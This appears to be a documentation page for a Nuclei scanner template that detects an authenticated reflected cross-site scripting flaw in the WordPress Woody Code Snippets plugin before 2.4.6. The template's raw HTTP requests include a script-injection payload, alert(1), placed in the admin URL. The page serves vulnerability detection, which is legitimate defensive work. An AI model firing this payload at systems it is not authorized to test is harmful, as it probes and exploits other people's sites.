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WordPress Woody Code Snippets <2.4.6 - Cross-Site Scripting

ID: wp-insert-php-xss

Severity: high

Author: Akincibor,DhiyaneshDk

Tags: xss,wp,wordpress,authenticated,woody,wpscan,wp-plugin

Description

Section titled “Description”

WordPress Woody Code Snippets plugin before 2.4.6 contains a cross-site scripting vulnerability. It does not escape generated URLs before outputting them back in an attribute.

YAML Source

Section titled “YAML Source”
id: wp-insert-php-xss


info:
  name: WordPress Woody Code Snippets <2.4.6 - Cross-Site Scripting
  author: Akincibor,DhiyaneshDk
  severity: high
  description: WordPress Woody Code Snippets plugin before 2.4.6 contains a cross-site scripting vulnerability. It does not escape generated URLs before outputting them back in an attribute.
  reference:
    - https://wpscan.com/vulnerability/6d6761b7-0c17-4428-8748-2179732030a3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
  tags: xss,wp,wordpress,authenticated,woody,wpscan,wp-plugin


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=wbcr-snippets&page=import-wbcr_insert_php&a"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'import-wbcr_insert_php&a\"><script>alert(1)</script>"'
          - 'Woody Code Snippets Import'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100addca80739107a9d4c0ef9835e17087646d2f48f81b4631291bebb5dbabef6f602210090a9e22759287c2c7da1000d63d0753f7a33aa7451a416ba860c0f6cca77cb75:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-insert-php-xss.yaml"

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